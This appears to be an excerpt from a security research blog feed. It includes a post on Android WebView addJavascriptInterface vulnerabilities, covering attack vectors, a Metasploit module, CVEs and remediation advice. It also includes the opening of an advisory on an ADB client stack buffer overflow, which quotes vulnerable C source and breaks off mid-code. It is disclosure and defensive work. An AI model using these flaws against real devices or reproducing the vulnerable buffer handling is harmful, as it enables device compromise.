The company’s inability to keep its promises raises doubt and will likely cause many would-be customers to lose interest.
The type of people that value Blackphone’s key features need to be able to trust the device and the company behind it.
I implore Blackphone to rectify this problem, uphold their word, and deliver the source code to PrivatOS.
I’m convinced that much good will come of it.&lt;/p&gt;

&lt;p&gt;Privacy is where Blackphone really shines.
From permissions modifications to custom communications apps, Blackphone’s privacy features truly make snooping on a user’s private information more difficult.
Unfortunately, achieving privacy requires achieving solid security.
All bets are off if someone compromises the device, regardless of secure cryptography or otherwise.&lt;/p&gt;

&lt;p&gt;All said and done, I can honestly say that I like the device.
I admire and applaud what the company is trying to do and wish them the best.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>On the WebView addJavascriptInterface Saga</title>
   <link href="http://www.droidsec.org/news/2014/02/26/on-the-webview-addjsif-saga.html"/>
   <updated>2014-02-26T18:41:00+00:00</updated>
   <id>http://www.droidsec.org/news/2014/02/26/on-the-webview-addjsif-saga</id>
   <content type="html">&lt;p&gt;In the last month, several new facts came to light in the saga of security issues with using &lt;em&gt;addJavascriptInterface&lt;/em&gt; in Android WebView objects. While the dangers associated with this method are well documented, the full extent and reach of associated issues was not known until recently. These issues continue to be a plague on the security of the Android ecosystem to this day.&lt;/p&gt;

&lt;p&gt;We decided to write this post for many different reasons. First, we want to set the facts straight. The interactions involving this method and the security issues that result from it are complex. Understandably, some published articles contain technically inaccuracies. Second, we have been doing more testing and think that some of the test results are interesting. Finally, we want to make some recommendations to various parties within the ecosystem and document open questions in and future directions for our research.&lt;/p&gt;

&lt;p&gt;It’s important to note that this post does not discuss a number of other important Android security issues. Many egregious privacy leaks stem from Android applications and advertising SDKs. Stock and third party browsers are often vulnerable to publicly disclosed vulnerabilities. There are other security issues that can stem from using &lt;em&gt;addJavascriptInterface&lt;/em&gt; too. These topics are not covered in this post, but deserve attention too.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;NOTE: This post ballooned significantly. As such, we will be working to publish more details in the future.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;In this section, you will learn about the different technologies and paradigms that come together to create the issues that are the topic of this post. This includes introductions to software handling on Android, the vulnerable API, and important properties of these vulnerabilities.&lt;/p&gt;

&lt;h3 id=&quot;software-on-android&quot;&gt;Software on Android&lt;/h3&gt;

&lt;p&gt;Software on Android devices consists of firmware and applications. Each type of software are versioned, distributed, and updated using different mechanisms.&lt;/p&gt;

&lt;p&gt;The firmware for a particular device is built by the party responsible for maintaining the device. The firmware is put onto the device by that party and later updates (via OTA usually) must go through that party as well. In addition to the &lt;em&gt;Android version&lt;/em&gt;, OEMs and carriers have their own versioning schemes. This part of the Android software update process is discussed in depth elsewhere, so we won’t elaborate further.&lt;/p&gt;

&lt;p&gt;Applications are either distributed as part of the firmware or via Google Play. In both cases, the applications can be updated directly by the vendor via Google Play. Applications are versioned by their respective vendors.&lt;/p&gt;

&lt;p&gt;In addition to the &lt;em&gt;Android version&lt;/em&gt;, Google uses a versioning mechanism to indicate the precise availability and behavior of objects and methods. These objects and methods comprise the developer API, and hence this version is called the &lt;em&gt;API level&lt;/em&gt;. As the API levels have increased, many changes have been made. The developer documentation contains lots of notes about changes throughout the evolution of Android.&lt;/p&gt;

&lt;p&gt;Application developers &lt;strong&gt;choose&lt;/strong&gt; which API level they use for their application at compile time. When a new API level is released, developers don’t have to do anything unless they want to take advantage of functionality from the new API. That is, app developers are free to select an older API level when they build their application. Google has tried to dissuade this practice in newer versions of the SDK by printing warnings at compile time. Also, Google created Google Play Services to ease some of the pain caused by API evolution. However, no technical barrier prevents using older API levels. In fact, some developers do this intentionally as a way to maximize device compatibility. Once an application is built against a particular API level, it cannot be changed without recompiling and redeploying.&lt;/p&gt;

&lt;h3 id=&quot;webviews-and-addjavascriptinterface&quot;&gt;WebViews and addJavascriptInterface&lt;/h3&gt;

&lt;p&gt;In Android, many browsers web-based mobile applications rely on the &lt;a href=&quot;http://developer.android.com/reference/android/webkit/WebView.html&quot;&gt;WebView component&lt;/a&gt;. The documentation for this component is pretty good, so check it out if you want to fully understand it’s purpose and usage. Suffice to say that it’s a part of the Android Framework that provides a working, embeddable Web browser. On versions prior to Android KitKat (4.4) it’s based on the WebKit engine. With KitKat and later, it’s based on Chromium. It doesn’t include the UI portion which is also referred to as “the chrome” (not to be confused with the Chrome browser).&lt;/p&gt;

&lt;p&gt;The &lt;em&gt;addJavascriptInterface&lt;/em&gt; method is one of the ways that developers that embed a WebView into their application (including people that build browsers) to expose Java functionality to Javascript. It has existed since the first release of Android (API level 1). It provides a method to achieve synchronous (meaning Javascript waits for a response) communication with the hosting application. There’s plenty of resources showing how to use this functionality out there, so we won’t go into further detail here. For a more high-level explanation, see the &lt;em&gt;Our findings make uncomfortable reading&lt;/em&gt; section of &lt;a href=&quot;https://www.mwrinfosecurity.com/articles/ad-network-research/&quot;&gt;Dave Hartley’s article&lt;/a&gt; on the MWR blog.&lt;/p&gt;

&lt;h3 id=&quot;security-issues&quot;&gt;Security Issues&lt;/h3&gt;

&lt;p&gt;Multiple security issues exist involving the &lt;em&gt;addJavascriptInterface&lt;/em&gt; method of Android WebView objects. Several issues involve applications that expose an object to untrusted Javascript within a WebView using the vulnerable API. Another issue, on which the exploitation of the aforementioned issues rely, is that untrusted Javascript can execute arbitrary Java code (and thus shell commands and native code). More details about these issues are presented in the following sections. The important point to understand here is that this is not just one issue. There are multiple, interrelated vulnerabilities.&lt;/p&gt;

&lt;p&gt;In all cases, exploiting vulnerable apps gives an attacker the privileges of the app itself. However, wide public availability of privilege escalation exploits for Android devices can lead to a full device compromise.&lt;/p&gt;

&lt;h3 id=&quot;attack-vectors&quot;&gt;Attack Vectors&lt;/h3&gt;

&lt;p&gt;Each vulnerability can be exploited via one or more &lt;a href=&quot;http://searchsecurity.techtarget.com/definition/attack-vector&quot;&gt;attack vectors&lt;/a&gt;. Exactly which attack vectors allow exploitation depends on the context in which the affected WebView is used. That is, it depends where untrusted Javascript comes from. From our point of view they break down into the following categories:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;URL-based attack vectors such as sending a URL via email, IM, SMS, etc.&lt;/li&gt;
  &lt;li&gt;Malicious advertisements (aka Malvertising)&lt;/li&gt;
  &lt;li&gt;Injecting an exploit into a compromised trusted site (e.g. a watering hole attack)&lt;/li&gt;
  &lt;li&gt;Man in the Middle attacks (MitM) such as DNS hijacking, rogue AP/BTS, etc.&lt;/li&gt;
  &lt;li&gt;Local attacks against Javascript cached on external storage (SD card)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The most severe issues can be exploited in all scenarios while slightly less severe can only be exploited via a subset.&lt;/p&gt;

&lt;h2 id=&quot;new-developments&quot;&gt;New Developments&lt;/h2&gt;

&lt;p&gt;Back in September 2013, jduck developed a Metasploit exploit module called &lt;a href=&quot;https://github.com/jduck/addjsif&quot;&gt;addjsif&lt;/a&gt; that targets vulnerable uses of &lt;em&gt;addJavascriptInterface&lt;/em&gt; within advertising SDKs. He created this exploit in hopes that having it in Metasploit would bring additional attention and visibility to the seriousness of these issues. It is specifically designed to be used as a MitM proxy server that will inject its payload into passing traffic. The addjsif project’s &lt;a href=&quot;https://github.com/jduck/addjsif/blob/master/README.md&quot;&gt;README&lt;/a&gt; documents how administrators can set up and use the exploit to test devices on their networks.&lt;/p&gt;

&lt;p&gt;While testing his module, jduck successfully exploited the wildly popular &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.halfbrick.fruitninja&quot;&gt;Fruit Ninja&lt;/a&gt; and &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.rovio.angrybirds&quot;&gt;Angry Birds&lt;/a&gt; games installed on a Nexus 4 running Android 4.3 (!!). He also researched the names of other objects exposed via &lt;em&gt;addJavascriptInterface&lt;/em&gt; and embedded their names into the module.&lt;/p&gt;

&lt;p&gt;The decision to open source jduck’s exploit module at the end of January 2014 set in motion the sequence of events leading to this post. Though MWR Labs published an exploit in December 2013, their Drozer tool simply doesn’t have as large of user base as Metasploit does. The original goal stood and so the module was released publicly.&lt;/p&gt;

&lt;p&gt;Starting in early February, the &lt;a href=&quot;http://www.metasploit.com&quot;&gt;Metasploit&lt;/a&gt; engineers took jduck’s work and started looking to integrate it into their penetration testing framework. Some of their efforts are documented in the &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/pull/2942&quot;&gt;pull request&lt;/a&gt; initiated to merge it. As seen in description of the pull request, Rapid7’s Joe Vennix discovered that after minor modifications jduck’s exploit module was able to remotely execute arbitrary code on older versions of the stock Android Browser app. This was news to us, as it hadn’t previously been reported publicly by anyone (including Google!).&lt;/p&gt;

&lt;p&gt;Further testing by Tim Wright showed that the exploit also works on the current version of Google Glass (XE12 as of this writing). Even worse, an exploited Google Glass browser yields camera permissions. That’s right. This exploit allows an attacker to see whatever someone who is wearing Google Glass sees. On top of that, several publicly available exploits are capable of gaining root privileges on a Google Glass device. These facts combined should cause quite a concern for early adopters of this exorbitantly priced gadget.&lt;/p&gt;

&lt;p&gt;Following these events, another media blitz ensued with many articles claiming that 70% of Android devices are vulnerable to this particular exploit. A lengthy discussion on &lt;a href=&quot;http://www.reddit.com/r/Android/comments/1xtjbq/scan_a_qr_code_get_exploited_metasploit_just/&quot;&gt;a post to the /r/Android sub-reddit&lt;/a&gt; had us defending our research against vehement opponents. Truth be told, the 70% number came from an assumption that all devices prior to Android 4.2 were affected. We had tested against only a handful of devices at that point and thus decided to do some more thorough testing against the stock browser of various devices.&lt;/p&gt;

&lt;p&gt;First, jduck set out to create &lt;a href=&quot;/tests/addjsif/&quot;&gt;a simple and safe test page&lt;/a&gt; that would detect whether or not the WebView in which it was loaded was vulnerable. The Rapid7/Metasploit team assisted in organizing some crowd-sourced testing on Twitter while he tested against the droidsec &lt;a href=&quot;http://opencfp.immunityinc.com/talks/27/&quot;&gt;droid army&lt;/a&gt;. Each of jduck’s devices run stock firmware (in most cases the latest available), so the tests are a decent sampling of the over all device pool. Further, Joe Vennix ran some tests against &lt;a href=&quot;http://www.appthwack.com/&quot;&gt;one of the public testing services&lt;/a&gt; to see how their devices fared. The results of this round of testing were quite interesting and several new facts were uncovered.&lt;/p&gt;

&lt;h3 id=&quot;key-findings&quot;&gt;Key Findings&lt;/h3&gt;

&lt;p&gt;Through our testing, we have discovered several important facts worth discussing. The key findings are:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Early testing with ad-supported apps revealed that even current and fully up-to-date devices can be successfully exploited in specific circumstances. Applications that (1) insecurely use &lt;em&gt;addJavascriptInterface&lt;/em&gt; to render untrusted content and (2) are compiled against an API level less than 17 remain vulnerable. The popular apps tested are only two such apps; it’s likely that many many more exist. This issue was assigned &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-6636&quot;&gt;CVE-2012-6636&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;More recent testing revealed that certain versions of stock browsers, including AOSP, are also vulnerable. This issue is due to insecure use of &lt;em&gt;addJavascriptInterface&lt;/em&gt; involving the &lt;em&gt;searchBoxJavaBridge_&lt;/em&gt; object. Digging in deeper we discovered exactly when the vulnerable object was introduced (&lt;a href=&quot;https://android.googlesource.com/platform/frameworks/base/+/9497c5f8c4bc7c47789e5ccde01179abc31ffeb2%5e%21&quot;&gt;9497c5f&lt;/a&gt; in Android 4.0) and removed (&lt;a href=&quot;https://android.googlesource.com/platform/frameworks/base.git/+/d773ca8ff2a7a5be94d7f2aaa8ff5ef5dac501a8%5e%21/&quot;&gt;d773ca8&lt;/a&gt; and &lt;a href=&quot;https://android.googlesource.com/platform/frameworks/base.git/+/0e9292b94a3cb47374a8ac17f6287d98a426b1a8%5e%21/&quot;&gt;0e9292b&lt;/a&gt; in Android 4.2) within AOSP code. It was assigned &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-1939&quot;&gt;CVE-2014-1939&lt;/a&gt; per &lt;a href=&quot;http://openwall.com/lists/oss-security/2014/02/11/2&quot;&gt;our request&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Some devices using versions of Android within the affected range (4.0 &amp;lt; x &amp;lt; 4.2) were not vulnerable. This indicates that OEMs/carriers back-ported the patch to their firmware somewhere along the way. It’s possible (maybe even likely) that Google notified these partners of the issue to spur movement without notifying the general public. Determining the entirety of vulnerable device + firmware combinations remains an open problem (and one that we are actively seeking to address).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;An additional insecurely exposed object was found within certain HTC device firmware versions. In particular, testing against the One V and One X+ on Android 4.0.3 and 4.1.1 showed that an object called &lt;em&gt;HTMLOUT&lt;/em&gt; was exposed. Interestingly, this is the exact name of an object that was discussed in a blog by Aleksander Kmetec in 2009. (NOTE: A quick search while writing this post turned up &lt;a href=&quot;http://en.wooyun.org/bugs/wooyun-2010-013&quot;&gt;this advisory&lt;/a&gt; on WooYun. We don’t believe a CVE has been assigned yet.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Certain versions of third-party browsers are also vulnerable. In particular, certain versions of the Dolphin Browser tested vulnerable. Unfortunately, the exact version and list of exposed objects are not available.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Despite the fact that these issues have existed for years, several of these findings have only come to light in the last month. These issues are important and need more attention. The next section provides some suggestions about what various parties in the Android ecosystem can do to help.&lt;/p&gt;

&lt;h2 id=&quot;suggestions&quot;&gt;Suggestions&lt;/h2&gt;

&lt;p&gt;These issues have not been holistically addressed. Thankfully, there are a number of things that various groups within the Android ecosystem can do to improve the situation. Without intervention or assistance from Android vendors, we are largely left to our own device to protect ourselves and our users.&lt;/p&gt;

&lt;p&gt;That leads to the first, and most important, recommendation for everyone in the ecosystem. &lt;strong&gt;Communication is key.&lt;/strong&gt; We as a community need to spread the word about what brings these issues about, how to avoid them, how to locate and fix instances of them, and so on. Please do your part to help make the Android ecosystem a more secure place.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt; - You took a positive step when you made that security enhancement in Android 4.2. However, the original “fix” and messaging surrounding it leave much to be desired.&lt;/p&gt;

&lt;p&gt;On the messaging side, that post represents a missed opportunity to convey the seriousness of the matter. You could have strongly recommended targeting apps that depend on &lt;em&gt;addJavascriptInterface&lt;/em&gt; to the latest API level. You could have reiterated the peril of improperly using this API. Unfortunately, you opted to only casually explain the change as an enhancement.&lt;/p&gt;

&lt;p&gt;On the “fix” side, a more aggressive approach would be far more effective. Had you taken such an approach, you might not be reading this post. Because of the approach you chose, developers can still build, and are still building, vulnerable apps today. These apps can even be exploited on the most up-to-date devices. These are serious vulnerabilities and they should be given the respect and urgency that they deserve. We plead with you to take more aggressive actions to remedy this blight.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OEMs and Carriers&lt;/strong&gt; - Some of you have done a good thing by back-porting the fix to older firmwares. That’s great for the devices that did get updated, but that leaves users of older devices exposed. We dream of a day when you don’t leave anyone behind. The time from a security fix to it being on users’ devices really should be on the order of days, not months or weeks. We implore you to find ways to continue to improve this process.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;App Developers&lt;/strong&gt; - If you’re currently distributing a vulnerable app/SDK, please take immediate steps to correct the issue and get an update deployed. If possible, avoid using &lt;em&gt;addJavascriptInterface&lt;/em&gt; at all. If you &lt;em&gt;must&lt;/em&gt; use it, target your app/SDK to API level 17 or higher. If you’re making an SDK, consider forcing your users to use API level 17 or higher. If you must have a synchronous connection to Java-land, consider using &lt;em&gt;shouldAllowURLOverriding&lt;/em&gt; to override &lt;em&gt;onJsAlert&lt;/em&gt; or &lt;em&gt;onJsPrompt&lt;/em&gt;. App developers need to go the extra mile to be sure they are not including advertising SDKs that put users at risk. Finally, use the best practices (HTTPS and certificate pinning) to help keep your WebView content trustworthy in the face of MitM attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Researchers&lt;/strong&gt; - Join us in doing additional research, testing, and reporting so that we can eliminate these dangerous issues. Help discover exactly which devices and/or apps that are out there are vulnerable. Seek out additional unsafe uses of &lt;em&gt;addJavascriptInterface&lt;/em&gt; and report your findings. It’s my understanding that finding such a thing will win you a shiny CVE. The list in the addjsif MSF module might even be a good starting place. Work with vulnerable device/app vendors to get the issues fixed. Start dialogues with your customers in the mobile space to raise awareness. Finally, you can help protect users by creating third-party solutions!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Users&lt;/strong&gt; - The security and privacy of your device is ultimately in your hands. Keep your eyes and ears open for information about vulnerable apps. Don’t connect to potentially malicious Wi-Fi access points. Remove vulnerable apps from your device until they can be updated. Give 1-star ratings to vulnerable apps. As a precaution, play ad-supported games in airplane mode. Pay for your apps so that advertising network code is never activated.&lt;/p&gt;

&lt;h2 id=&quot;future-work--open-questions&quot;&gt;Future Work / Open Questions&lt;/h2&gt;

&lt;p&gt;While putting together this research we have identified a number of gaps and outstanding questions. We have additional details that we plan to publish in the coming days and weeks. Ideas for future work include:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;More testing - Our test results are fairly limited. We’d like to solicit more high quality test results from the community at large. We’re thinking of the best way to enable this testing, but for now following the directions on &lt;a href=&quot;/tests/addjsif/&quot;&gt;the test page&lt;/a&gt; would help.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;More devices - Our test bed is fairly small. We’d love to add more devices, and have added a plea for devices to our &lt;a href=&quot;/donate/&quot;&gt;donation page&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;More statistics - Extracting statistics from app markets is very resource intensive. Determining which apps use &lt;em&gt;addJavascriptInterface&lt;/em&gt; insecurely requires looking at each app individually, possibly even multiple versions of each.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;More research - Our tests looking into whether or not compiling a library for Android apps causes apps that use that library to be vulnerable were inconclusive. Do they build against a particular API level? Can they use a different API level than the app they are included in? These are questions we’d like to answer.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There’s more than enough for us to do. We would love your help!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;This post documents some history and our latest findings in our ongoing research of the WebView &lt;em&gt;addJavascriptInterface&lt;/em&gt; vulnerability saga. Though these issues have received a great deal of attention in the press, most users remain vulnerable. The latest articles focus on the new discoveries that some stock browsers are vulnerable. However, they fail to explain the full risk. Once an attacker gains access, a variety of publicly available exploits allow them to fully compromise the device. Most importantly, application developers often still expose users’ devices by insecurely using &lt;em&gt;addJavascriptInterface&lt;/em&gt;. These issues can be exploited, even on a fully updated and current device (such as a Nexus 5 - tested today with Fruit Ninja).&lt;/p&gt;

&lt;p&gt;The perilous situation of more than 51% of the Android device pool running woefully outdated software remains. As mentioned previously, many of the tested devices are fully updated to their latest stock firmware. In our testing of 44 devices, 13 were running browsers in the vulnerable version range. Of those, 6 had a vulnerable stock browser. Extrapolating these numbers out accurately is impossible without the exact numbers of each device/firmware combination, but a fair estimation is something like 25 percent (46% of 51%). This is much less than the 70% quoted in many articles, but also doesn’t take into account the other issues surrounding this method (which are much larger issues).&lt;/p&gt;

&lt;p&gt;In closing, there is much to do before this saga will end. We’ve provided some recommendations for various parties in the ecosystem and hope that they will not fall on deaf ears. That said, we’re not naive. We recognize that there are many challenges on the road ahead of us. Through our initiatives we hope to overcome these issues and usher Android security into a new era.&lt;/p&gt;

&lt;p&gt;Be safe out there!&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Two Security Issues Found in the Android SDK Tools</title>
   <link href="http://www.droidsec.org/advisories/2014/02/04/two-security-issues-found-in-the-android-sdk-tools.html"/>
   <updated>2014-02-04T13:00:00+00:00</updated>
   <id>http://www.droidsec.org/advisories/2014/02/04/two-security-issues-found-in-the-android-sdk-tools</id>
   <content type="html">&lt;p&gt;During an audit of the Android ADB source code, two security issues within the Android SDK Platform Tools were discoverd. When combined together, these issues can allow an unprivileged local user to gain access to the account of someone that uses the ADB tool.&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;Android Debug Bridge (ADB) is an official development tool provided by Google. It is perhaps the most instrumental tool since it facilitates communication between a host computer (the development machine) and an Android device. The architecture of ADB is broken into three components.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;The ADB Daemon runs on an Android device. Whether or not it runs is controlled by the “USB Debugging” setting inside an Android device’s settings menu. As the name of the setting suggests, it enables communicating with the device over USB, but also supports using a TCP port for communications.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The ADB Server runs on the development machine. This component is mostly transparent to the user and is only visible when first running the “adb” command or when using the “start-server” and “kill-server” commands. Among other things, it implements port forwarding and maintaining a persistent connection to devices connected to the host computer.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The ADB Client runs on the development machine too. It is the “adb” command that is used by a developer (or within various developer tools) to access an Android device. When using various options within the client, communications go through the ADB Server and to the ADB Daemon. Still, some commands like “adb devices” operate entirely within the host computer (between the Client and Server only).&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The communications channels can be summarized in the following ASCII diagram:&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;[ADB Client] &amp;lt;-[localhost tcp]-&amp;gt; [ADB Server] &amp;lt;-[usb&lt;/td&gt;
      &lt;td&gt;tcp]-&amp;gt; [ADB Daemon]&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Though default versions of Android &amp;gt;= 4.2.2 require authentication between the ADB Server and ADB Daemon, no authentication is required between the Client and Server. Since the Server listens on a TCP port, other users on a multi-user system can use the server to communicate with connected devices. Many developers commonly run the ADB Server with root privileges and ADB Client as a normal user. When used on a multi-user system, these design decisions leave much to be desired.&lt;/p&gt;

&lt;h2 id=&quot;findings&quot;&gt;Findings&lt;/h2&gt;
&lt;p&gt;Two issues were discovered during the audit: a stack buffer overflow and a failure to opt into security hardening features present in modern compilers.&lt;/p&gt;

&lt;h3 id=&quot;issue-1---adb-client-stack-buffer-overflow&quot;&gt;Issue #1 - ADB Client Stack Buffer Overflow&lt;/h3&gt;

&lt;p&gt;The first issue is an integer related issue in the ADB Client code. The relevant source code appears below. Note that this source code is from system/core/adb/adb_client.c from the android-4.4_r1.1 tag.&lt;/p&gt;

&lt;p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;mi&quot;&gt;219&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;adb_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;220&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;221&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;// first query the adb server&apos;s version&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;222&lt;/span&gt;     &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_adb_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;host:version&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;243&lt;/span&gt;         &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;244&lt;/span&gt;         &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;245&lt;/span&gt;         &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ADB_SERVER_VERSION&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;246&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;247&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;// if we have a file descriptor, then parse version result&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;248&lt;/span&gt;         &lt;span class=&quot;nf&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;249&lt;/span&gt;             &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;readx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;250&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;251&lt;/span&gt;             &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;252&lt;/span&gt;             &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strtoul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;mi&quot;&gt;253&lt;/span&gt;             &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
